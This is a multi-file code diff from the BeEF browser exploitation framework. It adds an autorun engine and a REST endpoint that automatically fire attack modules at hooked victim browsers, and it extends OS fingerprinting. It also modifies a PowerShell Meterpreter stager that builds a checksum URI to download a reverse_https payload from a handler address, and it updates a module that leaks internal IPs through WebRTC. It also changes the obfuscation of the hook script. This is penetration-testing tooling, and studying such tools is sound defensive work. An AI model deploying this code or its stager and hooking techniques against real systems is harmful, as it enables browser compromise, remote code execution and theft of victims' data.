@@ -84,13 +85,15 @@ beef.net = {
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
*/
queue: function (handler, cid, results, callback) {
queue: function (handler, cid, results, status, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
s.results = beef.net.clean(results);
s.status = status;
s.callback = callback;
s.handler = handler;
this.cmd_queue.push(s);
@@ -105,22 +108,32 @@ beef.net = {
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
*/
send: function (handler, cid, results, callback) {
send: function (handler, cid, results, exec_status, callback) {
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
var status = 0;
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback);
this.queue(handler, cid, results, status, callback);
this.flush();
} else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
'", "status": "' + exec_status +
'", "callback": "' + callback +
'","bh":"' + beef.session.get_hook_session_id() + '" }');
} catch (e) {
this.queue(handler, cid, results, callback);
this.queue(handler, cid, results, status, callback);
this.flush();
}
}
return status;
},
/**

View File

@@ -30,6 +30,7 @@ beef.os = {
return result;
},
// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
isWin311: function() {
return (this.ua.match('(Win16)')) ? true : false;
},
@@ -101,6 +102,19 @@ beef.os = {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
},
isOsxYosemite: function(){ // TODO
return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
},
isOsxMavericks: function(){ // TODO
return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
},
isOsxSnowLeopard: function(){ // TODO
return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
},
isOsxLeopard: function(){ // TODO
return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
},
isWinPhone: function() {
return (this.ua.match('(Windows Phone)')) ? true : false;
},
@@ -142,34 +156,24 @@ beef.os = {
},
isWindows: function() {
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone();
return (this.ua.match('Windows')) ? true : false;
},
getName: function() {
//Windows
if(this.isWin311()) return 'Windows 3.11';
if(this.isWinNT4()) return 'Windows NT 4';
if(this.isWinCE()) return 'Windows CE';
if(this.isWin95()) return 'Windows 95';
if(this.isWin98()) return 'Windows 98';
if(this.isWinME()) return 'Windows Millenium';
if(this.isWin2000()) return 'Windows 2000';
if(this.isWin2000SP1()) return 'Windows 2000 SP1';
if(this.isWinXP()) return 'Windows XP';
if(this.isWinServer2003()) return 'Windows Server 2003';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
if(this.isWin8()) return 'Windows 8';
if(this.isWin81()) return 'Windows 8.1';
if(this.isWindows()){
return 'Windows';
}
if(this.isMacintosh()) {
return 'OSX';
}
//Nokia
if(this.isNokia()) {
if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
//return 'Nokia';
}
// BlackBerry
@@ -178,7 +182,7 @@ beef.os = {
// Android
if(this.isAndroid()) return 'Android';
//linux
//Linux
if(this.isLinux()) return 'Linux';
if(this.isSunOS()) return 'Sun OS';
@@ -189,23 +193,42 @@ beef.os = {
//iPod
if (this.isIpod()) return 'iOS';
// zune
//if (this.isZune()) return 'Zune';
//macintosh
if(this.isMacintosh()) {
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
return navigator.oscpu;
return 'Macintosh';
}
//others
if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS';
if(this.isWebOS()) return 'webOS';
return 'unknown';
},
getVersion: function(){
//Windows
if(this.isWindows()) {
if (this.isWin81()) return '8.1';
if (this.isWin8()) return '8';
if (this.isWin7()) return '7';
if (this.isWinVista()) return 'Vista';
if (this.isWinXP()) return 'XP';
if (this.isWinServer2003()) return 'Server 2003';
if (this.isWin2000SP1()) return '2000 SP1';
if (this.isWin2000()) return '2000';
if (this.isWinME()) return 'Millenium';
if (this.isWinNT4()) return 'NT 4';
if (this.isWinCE()) return 'CE';
if (this.isWin95()) return '95';
if (this.isWin98()) return '98';
}
// OS X
if(this.isMacintosh()) {
if (this.isOsxYosemite()) return '10.10';
if (this.isOsxMavericks()) return '10.9';
if (this.isOsxSnowLeopard()) return '10.8';
if (this.isOsxLeopard()) return '10.7';
}
// TODO add Android/iOS version detection
}
};

View File

@@ -14,4 +14,4 @@
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
antisnatchor
*/
setTimeout(beef_init, 1000);
//setTimeout(beef_init, 1000);

View File

@@ -216,7 +216,7 @@ module BeEF
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
end
# get and store the os name
# get and store the OS name
os_name = get_param(@data['results'], 'OsName')
if BeEF::Filters.is_valid_osname?(os_name)
BD.set(session_id, 'OsName', os_name)
@@ -224,6 +224,10 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
os_version = get_param(@data['results'], 'OsVersion')
BD.set(session_id, 'OsVersion', os_version)
# get and store default browser
default_browser = get_param(@data['results'], 'DefaultBrowser')
BD.set(session_id, 'DefaultBrowser', default_browser)
@@ -349,7 +353,7 @@ module BeEF
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# add localhost as network host
if config.get('beef.extension.network.enable')
@@ -358,27 +362,13 @@ module BeEF
r.save
end
# Call autorun modules
if config.get('beef.autorun.enable')
autorun = []
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
if v.has_key?('autorun') and v['autorun'] == true
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
BeEF::Module.execute(k, session_id)
autorun.push(k)
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
BeEF::Module.execute(k, session_id)
autorun.push(k)
else
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
}
if autorun.length > 0
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
# Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets
# stored in the BeEF::Core::AutorunEngine::Models::Rule database table
# If one or more Rule-sets do match, trigger the module chain specified
#
are = BeEF::Core::AutorunEngine::Engine.instance
match_rules = are.match(browser_name, browser_version, os_name, os_version)
are.trigger(match_rules, zombie.id) if match_rules.length > 0
if config.get('beef.integration.phishing_frenzy.enable')
# get and store the browser plugins

View File

@@ -57,11 +57,14 @@ module BeEF
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty"; return) if command_results.empty?
command_status = @data['status']
command_results = @data['results']
(print_error "command results or status are empty"; return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results, command_status)
end

View File

@@ -79,6 +79,13 @@ module Handlers
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
# TODO this is not considering WebSocket channel, as data is sent from core/main/handlers/modules/command.rb if WS is enabled
are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id)
are_executions.each do |are_exec|
@body += are_exec.mod_body
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
end
# @note We dynamically get the list of all browser hook handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
end

View File

@@ -21,7 +21,7 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/mdetect.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)

View File

@@ -38,7 +38,7 @@ module BeEF
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
ws = BeEF::Core::Websocket::Websocket.instance

View File

@@ -23,12 +23,13 @@ module Models
has n, :results
# Save results and flag that the command has been run on the hooked browser
# @param [String] hook_session_id The session_id.
# @param [String] command_id The command_id.
# @param [String] command_friendly_name The command friendly name.
# @param [String] result The result of the command module.
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)
# @note enforcing arguments types
command_id = command_id.to_i
@@ -37,6 +38,7 @@ module Models
raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer?
raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string?
raise Exception::TypeError, '"result" needs to be a hash' if not result.hash?
raise Exception::TypeError, '"status" needs to be an integer' if not status.integer?
# @note get the hooked browser structure and id from the database
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil
@@ -51,20 +53,29 @@ module Models
raise Exception::TypeError, "command is nil" if command.nil?
# @note create the entry for the results
command.results.new(:hooked_browser_id => hooked_browser_id, :data => result.to_json, :date => Time.now.to_i)
command.results.new(:hooked_browser_id => hooked_browser_id,
:data => result.to_json,:status => status,:date => Time.now.to_i)
command.save
# @note log that the result was returned
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id)
# @note prints the event into the console
if BeEF::Settings.console?
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']"
end
s = self.show_status(status)
log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions (status: #{s}) from command module [id:#{command_id}, name:'#{command_friendly_name}']"
BeEF::Core::Logger.instance.register('Command', log, hooked_browser_id)
print_info log
end
def self.show_status(status)
case status
when -1
result = 'ERROR'
when 1
result = 'SUCCESS'
else
result = 'UNKNOWN'
end
result
end
end
end
end
end

View File

@@ -15,6 +15,7 @@ module Models
property :id, Serial
property :date, String, :length => 15, :lazy => false
property :status, Integer
property :data, Text
end

View File

@@ -43,13 +43,20 @@ module BeEF
end
end
module RegisterAutorunHandler
def self.mount_handler(server)
server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')
#
# Check the source IP is within the permitted subnet

View File

@@ -0,0 +1,66 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Rest
class AutorunEngine < BeEF::Core::Router::Router
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# Add a new ruleset. Returne the rule_id if request was successful
post '/rule/add' do
request.body.rewind
begin
data = JSON.parse request.body.read
rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
rloader.load(data)
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset ERROR. #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
end
# Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored
post '/rule/trigger/:rule_id' do
begin
rule_id = params[:rule_id]
online_hooks = BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15))
are = BeEF::Core::AutorunEngine::Engine.instance
if online_hooks != nil
online_hooks.each do |hb|
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb.session, 'BrowserName')
browser_version = hb_details.get(hb.session, 'BrowserVersion')
os_name = hb_details.get(hb.session, 'OsName')
os_version = hb_details.get(hb.session, 'OsVersion')
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
are.trigger(match_rules, hb.id) if match_rules.length > 0
end
else
{ 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Something went wrong #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
end
end
end
end
end

View File

@@ -127,7 +127,7 @@ module BeEF
@http_server.start # starts the web server
rescue RuntimeError => e
if e.message =~ /no acceptor/ # the port is in use
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}."
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF on an invalid IP."
print_error "Is BeEF already running? Exiting..."
exit 127
else

View File

@@ -17,5 +17,5 @@ beef:
Beef: "Beef"
evercookie: "evercookie"
BeEF: "BeEF"
chain: ["scramble", "base_64"]
chain: ["scramble", "minify"]
# other available obfuscation techniques: ["minify", "base_64", "whitespace"]

View File

@@ -48,6 +48,6 @@ beef:
cid10: "bottom-border.png"
powershell:
# the default payload being used is windows/meterpreter/reverse_https
msf_reverse_handler_host: "127.0.0.1"
msf_reverse_handler_host: "172.16.45.1"
msf_reverse_handler_port: "443"
powershell_handler_url: "/ps"

View File

@@ -404,8 +404,34 @@ function Invoke-ps
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
# Meterpreter to initiate stage 0.
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
$x = ""
function sum($v){
return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
function RandomChars{
$f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
return $f;
}
function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function Generate{
for ($i=0; $i -lt 64; $i++){
$h = RandomChars;$k = $d | RandomArray;
foreach ($l in $k){
$s = $h + $l; if (sum($s)){
return $s}
}
return "9vXU";
}
}
$GeneratedURI = Generate;
$Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)

View File

@@ -5,7 +5,6 @@
//
beef.execute(function() {
alert("<%== format_multiline(@text) %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
alert("<%= @text %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>");
});

View File

@@ -5,8 +5,10 @@
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody());
var head = beef.browser.getPageHead();
var body = beef.browser.getPageBody();
var mod_data = 'head=' + head + '&body=' + body;
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
return [beef.are.status_success(), mod_data];
});

View File

@@ -9,7 +9,8 @@ beef.execute(function() {
var str = '';
for (var i=32; i<=127;i++) str += String.fromCharCode(i);
beef.net.send("<%= @command_url %>", <%= @command_id %>, str);
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_ascii_chars_mod_output = [beef.are.status_success(), str];
});

View File

@@ -13,7 +13,8 @@ beef.execute(function() {
for (var i = 0; i < iterations; i++) {
str += repeat_value;
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, str);
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_long_string_mod_output = [beef.are.status_unknown(), str];
});

View File

@@ -8,7 +8,7 @@ beef.execute(function() {
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () {
if (RTCPeerConnection){
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
@@ -24,6 +24,7 @@ beef.execute(function() {
if (evt.candidate){
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
retResults();
}
};
@@ -31,20 +32,29 @@ beef.execute(function() {
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
retResults();
}, function (e) {
beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
});
function retResults(){
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
}
// Return results
function processIPs(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
}
// Retrieve IP addresses from SDP
function grepSDP(sdp) {
var hosts = [];
@@ -61,8 +71,7 @@ beef.execute(function() {
}
});
}
})(); else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection");
}else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
}
});

View File

@@ -29,7 +29,8 @@ beef.execute(function() {
});
$j(hid).css('cursor','pointer');
$j(hid).slideDown(300,function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());
});
return [beef.are.status_success(), 'Notification has been displayed'];
});

View File

@@ -1 +0,0 @@
This is a temp directory where the Firefox extension will be built.

View File

@@ -6,7 +6,7 @@
beef.execute(function(){
var hta_url = '<%= @ps_url %>' + '/hta';
var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta';
if (beef.browser.isIE()) {
// application='yes' is IE-only and needed to load the HTA into an IFrame.

View File

@@ -15,7 +15,7 @@ require 'selenium/webdriver'
require './check_environment' # Basic log in and log out tests
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests
require './tc_jools' # Basic tests for jools
#require './tc_jools' # Basic tests for jools
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
@@ -26,7 +26,7 @@ class TS_BeefIntegrationTests
suite << TC_CheckEnvironment.suite
suite << TC_login.suite
suite << TC_DebugModules.suite
suite << TC_Jools.suite
#suite << TC_Jools.suite
#suite << TC_DnsRest.suite
suite << TC_SocialEngineeringRest.suite